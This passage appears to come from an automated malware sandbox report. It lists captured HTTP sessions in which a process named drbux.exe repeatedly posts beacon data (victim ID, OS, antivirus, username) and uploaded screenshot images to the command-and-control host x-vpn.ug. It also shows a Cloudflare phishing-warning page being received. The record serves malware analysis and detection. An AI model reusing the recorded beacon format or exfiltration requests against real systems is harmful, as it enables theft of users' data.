74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e Data Ascii: 110c<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="n
Jul 19, 2021 18:35:31.106069088 CEST	2968	IN	Data Raw: 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 Data Ascii: oindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />...[if lt IE 9]><link rel="
Jul 19, 2021 18:35:31.106084108 CEST	2969	IN	Data Raw: 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 Data Ascii: er"> <div class="cf-columns two"> <div class="cf-column"> <h2>What is phishing?</h2> <p>This link has been flagged as phishing. Phishing is an attempt to acquire personal information such as passwords
Jul 19, 2021 18:35:31.106100082 CEST	2970	IN	Data Raw: 61 67 67 65 64 20 61 73 20 70 68 69 73 68 69 6e 67 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 54 72 75 73 74 20 26 61 6d 70 3b 20 53 61 66 65 74 79 20 74 65 61 6d 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e Data Ascii: agged as phishing please contact the Trust & Safety team for more information.</p> </div> </div> </div>... /.section --> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto t
Jul 19, 2021 18:35:31.106110096 CEST	2970	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.6	49956	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:28.186245918 CEST	16425	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:28.186414003 CEST	16426	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:28.186733007 CEST	16436	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:28.187077045 CEST	16438	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:28.267229080 CEST	16439	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:28.268222094 CEST	16459	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:28.268388987 CEST	16461	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:28.268467903 CEST	16464	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:28.350162983 CEST	16475	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:28.350212097 CEST	16488	OUT	Data Raw: 4f 1f f3 0f b8 ff 00 be c5 71 9e 32 f1 45 bf 89 1e dd ad ed a4 84 45 bb 3b d8 1c e6 ae 9c 5c 65 a9 32 d6 c7 9a 50 69 76 9a 4d a6 b8 ac cf 54 f5 0f 80 ff 00 f2 3c 5e ff 00 d8 35 ff 00 f4 64 55 ef f7 67 fd 16 4f c3 f9 8a f0 0f 81 03 1e 37 bd 3f f5 Data Ascii: Oq2EE;\e2PivMT<^5dUgO7?{Ebo5vO"fo-lrWM^&3{plV2=24+BR5Ub]3@9JX4aNig{0+a[ I!*jJZK8lU
Jul 19, 2021 18:36:28.350414991 CEST	16515	OUT	Data Raw: 68 91 ff 00 c2 0d 7b a6 dc 59 46 ba e4 3a 9d d2 c5 20 41 e6 33 41 1c 45 e2 cf 52 36 99 08 1e aa 3d 6a 3e b1 1d 7f af eb 46 99 6a 84 9d bf af eb 66 8e 30 52 9a ef ae 63 d1 74 7d 13 44 b3 ba b0 b5 62 b7 97 1a 7e a7 72 63 53 20 76 8a 36 62 1b a8 31 Data Ascii: h{YF: A3AER6=j>Fjf0Rct}Db~rcS v6b145]"Bl..mY`M4[B2;:oBNcLK;s<:Mn,KEc9A >nd!%"D`F#hx{PokyJ+
Jul 19, 2021 18:36:28.428935051 CEST	16518	OUT	Data Raw: 3e d0 ff 00 df b1 47 b6 f2 0f 67 e6 7c 49 9a 4a fb 73 ec 56 bf f3 ed 0f fd fb 14 7d 8a d7 fe 7d a1 ff 00 bf 62 97 b6 f2 0f 67 e6 7c 47 45 7d b9 f6 2b 5f f9 f6 87 fe fd 8a 3e c5 6b ff 00 3e d0 ff 00 df b1 4f db 79 07 b3 f3 3e 24 e6 8a fb 6f ec 56 Data Ascii: >Gg\|IJsV}}bg\|GE}+_>k>Oy>$oV}}bmC~bhy>$C~bhy>$C~bhy>$C~bhy>$k>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.6	49957	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:28.333405018 CEST	16465	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:28.412394047 CEST	16515	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.6	49958	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:28.628246069 CEST	16524	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:28.725867033 CEST	16537	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.6	49959	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:28.705049992 CEST	16524	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----3cd2c7e2f10e5b234c6d465da1720a11 Host: x-vpn.ug Content-Length: 96729 Cache-Control: no-cache
Jul 19, 2021 18:36:28.705064058 CEST	16524	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 63 64 32 63 37 65 32 66 31 30 65 35 62 32 33 34 63 36 64 34 36 35 64 61 31 37 32 30 61 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------3cd2c7e2f10e5b234c6d465da1720a11Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:28.705455065 CEST	16534	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:28.705734968 CEST	16537	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:28.784544945 CEST	16538	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:28.785048008 CEST	16541	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:28.794456959 CEST	16549	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:28.794538975 CEST	16557	OUT	Data Raw: ae 2f af e4 5b cb b1 24 96 d6 f0 5a 86 42 8b 21 4c bb 6f 5d 99 65 6c 05 56 e0 76 cd 45 fd bb ae 8b eb 8b ef ed 16 6b 9b 8b b8 af 65 91 d1 58 b4 d1 92 51 b9 1d b7 1e 3a 7b 54 43 56 d4 8e 98 da 6b cd 6f 35 b3 33 b2 89 ad a2 91 e3 2c 72 db 1d 94 b2 Data Ascii: /[$ZB!Lo]elVvEkeXQ:{TCVko53,rFp*]$lI/swQ]\&<vMgiqP>PIbG<zW[+=EW6wHn%%Fg5u~_8gXprW FN:GYxfkfy7Xv#}i
Jul 19, 2021 18:36:28.794658899 CEST	16564	OUT	Data Raw: b4 9d 67 b6 d3 2c a1 99 73 b6 48 e0 55 61 91 83 82 07 a5 7c fd f1 97 fe 4a 1c ff 00 f5 ef 17 fe 83 58 9f f0 b1 3c 5f ff 00 43 05 ef fd f7 58 da 96 ab 7f ac dd fd af 51 ba 7b 9b 82 a1 4c 92 75 20 74 ab a5 46 a2 9f 34 9d c8 a9 56 0e 1c b1 56 2a 51 Data Ascii: g,sHUa\|JX<_CXQ{Lu tF4VV*QERP%!- RR!A&BS1ii)E1-%uSQE(4RM}-4R\TK)sM;4B4%q&)SUI"sR-z0iA[U5V
Jul 19, 2021 18:36:28.864268064 CEST	16569	OUT	Data Raw: 33 aa 47 34 52 46 ab 24 04 72 a3 01 81 e9 fc ab 15 19 54 97 2d 4d 3c 8e 8f 76 0a f0 35 75 8f 88 be 2d b6 ba 56 d5 ac 34 c9 ad 25 e3 cb 58 df 6b 0e e0 36 ec 83 f5 fd 6b 96 f1 ae 9b 65 61 ab db 5c 69 aa 52 cb 51 b3 8a fa 18 8f 58 c3 e7 2b f8 10 6b Data Ascii: 3G4RF$rT-M<v5u-V4%Xk6kea\iRQX+k--O`2+<_0fK=:\7_V4dsEQEF,m{;DB2@57)uQGKH'-L0?Rjk~yw
Jul 19, 2021 18:36:28.872936964 CEST	16572	OUT	Data Raw: e5 dc d1 51 a7 7b df 4d 3f 3f f2 30 93 43 bb 93 c3 12 78 81 0c 4d 69 15 c1 81 d0 31 f3 14 80 a7 76 31 f7 72 ea 33 9e a4 71 56 17 c3 57 3e 6b fd a2 ee ce da da 3b 48 6e e5 ba 99 df cb 8d 65 50 c8 a7 6a 96 2c 73 8c 2a 9e 87 b0 26 a6 83 5b b7 d1 74 Data Ascii: Q{M??0CxMi1v1r3qVW>k;HnePj,s*&[t;(.b1j7uK HR2:a t5wZMk]PbmM REU,2yrR/_"cFW39<13\Ek4!+q9gZ\|]Hi,rII2ei
Jul 19, 2021 18:36:28.873471975 CEST	16578	OUT	Data Raw: 85 3c 53 01 a7 66 a9 31 34 07 ad 1d e9 09 a3 39 a0 05 34 76 a0 51 40 85 14 b8 a0 73 41 38 aa 00 a5 f7 a4 06 8c d0 2b 0f 14 b4 d0 79 a7 53 24 29 0d 2d 06 98 08 3a 52 e2 8a 05 08 03 14 e1 45 02 98 87 51 40 a4 a6 48 e1 4b 4d a5 a6 02 8a 70 3c 53 69 Data Ascii: <Sf1494vQ@sA8+yS$)-:REQ@HKMp<SisTK-0vip4j1N#.jHLZtcKI'QsIiQpy`&8%($\p84)hB&SJMF)$zj<kH8S3_"KS")3J(isIE(5 dqIJiK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.6	49960	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:28.949794054 CEST	16582	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:29.050817013 CEST	16625	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.6	49961	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:29.227154970 CEST	16627	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----3cd2c7e2f10e5b234c6d465da1720a11 Host: x-vpn.ug Content-Length: 96729 Cache-Control: no-cache
Jul 19, 2021 18:36:29.227420092 CEST	16627	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 63 64 32 63 37 65 32 66 31 30 65 35 62 32 33 34 63 36 64 34 36 35 64 61 31 37 32 30 61 31 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------3cd2c7e2f10e5b234c6d465da1720a11Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:29.227760077 CEST	16638	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:29.227979898 CEST	16640	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
